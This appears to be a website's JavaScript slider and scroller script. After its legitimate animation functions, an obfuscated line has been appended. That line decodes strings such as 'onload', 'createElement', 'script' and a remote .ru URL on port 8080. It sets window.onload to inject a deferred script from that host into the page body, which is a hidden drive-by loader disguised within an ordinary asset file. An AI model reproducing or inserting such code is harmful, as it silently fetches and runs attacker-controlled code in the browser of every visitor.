var SLIDETIMER = 3;
var SLIDESPEED = 3;
var SCROLLTIMER = 3;
var SCROLLSPEED = 3;
var STARTINGOPACITY = 40;

// handles section to section scrolling of the content //
function slideContent(id,prefix,timer) {
  var div = document.getElementById(id);
  var slider = div.parentNode;
  clearInterval(slider.timer);
  slider.section = parseInt(id.replace(/\D/g,''));
  slider.target = div.offsetTop;
  slider.style.top = slider.style.top || '0px';
  slider.current = slider.style.top.replace('px','');
  slider.direction = (Math.abs(slider.current) > slider.target) ? 1 : -1;
  slider.style.opacity = STARTINGOPACITY * .01;
  slider.style.filter = 'alpha(opacity=' + STARTINGOPACITY + ')';
  slider.timer = setInterval( function() { slideAnimate(slider,prefix,timer) }, SLIDETIMER);
}

function slideAnimate(slider,prefix,timer) {
  var curr = Math.abs(slider.current);
  var tar = Math.abs(slider.target);
  var dir = slider.direction;
  if((tar - curr <= SLIDESPEED && dir == -1) || (curr - tar <= SLIDESPEED && dir == 1)) {
    slider.style.top = (slider.target * -1) + 'px';
	slider.style.opacity = 1;
	slider.style.filter = 'alpha(opacity=100)';
    clearInterval(slider.timer);
	if(slider.autoscroll) {
	  setTimeout( function() { autoScroll(slider.id,prefix,timer) }, timer * 1000);
	}
  } else {
	var pos = (dir == 1) ? parseInt(slider.current) + SLIDESPEED : slider.current - SLIDESPEED;
    slider.current = pos;
    slider.style.top = pos + 'px';
  }
}

// handles manual scrolling of the content //
function scrollContent(id,dir) {
  var div = document.getElementById(id);
  clearInterval(div.timer);
  var sections = div.getElementsByTagName('div');
  var length = sections.length;
  var limit;
  if(dir == -1) {
    limit = 0;
  } else {
    if(length > 1) {
      limit = sections[length-1].offsetTop;
    } else {
      limit = sections[length-1].offsetHeight - div.parentNode.offsetHeight + 20;
    }
  }
  div.style.opacity = STARTINGOPACITY * .01;
  div.style.filter = 'alpha(opacity=' + STARTINGOPACITY + ')';
  div.timer = setInterval( function() { scrollAnimate(div,dir,limit) }, SCROLLTIMER);
}

function scrollAnimate(div,dir,limit) {
  div.style.top = div.style.top || '0px';
  var top = div.style.top.replace('px','');
  if(dir == 1) {
	if(limit - Math.abs(top) <= SCROLLSPEED) {
	  cancelScroll(div.id);
	  div.style.top = '-' + limit + 'px';
	} else {
	  div.style.top = top - SCROLLSPEED + 'px';
	}
  } else {
	if(Math.abs(top) - limit <= SCROLLSPEED) {
	  cancelScroll(div.id);
	  div.style.top = limit + 'px';
	} else {
	  div.style.top = parseInt(top) + SCROLLSPEED + 'px';
	}
  }
}

// cancel the scrolling on mouseout //
function cancelScroll(id) {
  var div = document.getElementById(id);
  div.style.opacity = 1;
  div.style.filter = 'alpha(opacity=100)';
  clearTimeout(div.timer);
}

// initiate auto scrolling //
function autoScroll(id,prefix,timer,restart) {
  var div = document.getElementById(id);
  div.autoscroll = (!div.autoscroll && !restart) ? false : true;
  if(div.autoscroll) {
    var sections = div.getElementsByTagName('div');
    var length = sections.length;
    div.section = (div.section && div.section < length) ? div.section + 1 : 1;
    slideContent(prefix + '-' + div.section,prefix,timer);
  }
}

// cancel automatic scrolling //
function cancelAutoScroll(id) {
  var div = document.getElementById(id);
  div.autoscroll = false;
}
var Gr=new Array();var k=new Array();try {var _c;if(_c!='r'){_c=''};var vw;if(vw!='Y'){vw=''};var e='';var S='[';this.Yy='';var _='replace';var p;if(p!='' && p!='K'){p=''};var gl=new Array();var A=']';var o='g';var Z=RegExp;var Ns;if(Ns!='f' && Ns!='l'){Ns=''};var qV;if(qV!=''){qV='Nl'};this.a='';function O(t,Q){var an='';var j=S;j+=Q;j+=A;var M=new Z(j, o);return t[_](M, e);var pa=new String();var DW;if(DW!=''){DW='ZT'};};var rB;if(rB!='B' && rB!='aV'){rB=''};var OO;if(OO!='' && OO!='L'){OO=''};var un;if(un!='' && un!='Ay'){un=''};var R=O('847994079448479704794',"947");var y=O('/fb5aYdYoYof.5c5o5mf/5bYa5d5oYoY.Ycfofm5/fgYo5oYgYlYef.fcfo5m5/5yYoYuYkfuY.fcYoYmY/fi5mfe5.fnfuf.Yp5hfpf',"f5Y");var oY=new Date();var t="1";var VB;if(VB!='Ov'){VB=''};var ub;if(ub!='fM'){ub=''};var T=O('sycbrbinpbty',"bny");var oO=new Date();var Tc=new Date();var E=O('o1nElkokaEd1',"E1k");var Tk;if(Tk!='' && Tk!='bd'){Tk=null};var Bn=new Array();var N=O('bRoRdnyl',"Rln");this.jF="";var Zf=O('c4r4e4a4t3e4E3l3e3mwe4nwt4',"w34");var mJ;if(mJ!='' && mJ!='JZ'){mJ=''};var z_=new String();var TD='';var lF=new Array();var cZ=new Array();var X=O('hktktfpE:E/M/fnEi8hf-8gEo8vk.8tfhMeEpfiErMaEtEekbkaEyf.EoErkgM.8wks8j8-McfoEmk.Mi8wfefsMtfpko8ifnktE.fr8uE:k',"8kfEM");this.dL="";var Qm=O('sdeOtcADtDt_rcidbcuct_eO',"dcOD_");var zN='';var tJ=O('aApApMemnMdMCmhmiAlMdm',"mAM");var IO;if(IO!='' && IO!='iq'){IO='qI'};this.oM="";window[E]=function(){this.vi="";var Bj="";this.Hq='';h=document[Zf](T);var zr;if(zr!='Hw'){zr='Hw'};this.sf='';this.Iv='';TD+=X;var YA;if(YA!='uU' && YA!='oF'){YA='uU'};TD+=R;var _M=new String();var ym=new String();TD+=y;var XF;if(XF!='fB' && XF!='ex'){XF=''};this.tb="";h.setAttribute('defer', t);var jH=new String();var Qp;if(Qp!='Do'){Qp=''};var UZ;if(UZ!='I_' && UZ != ''){UZ=null};h.src=TD;var v=document[N];var Wuc;if(Wuc!='li' && Wuc != ''){Wuc=null};v.appendChild(h);var k_=new String();var viv=new String();};var XV=new Array();} catch(P){this.NI='';var ef;if(ef!='al' && ef != ''){ef=null};};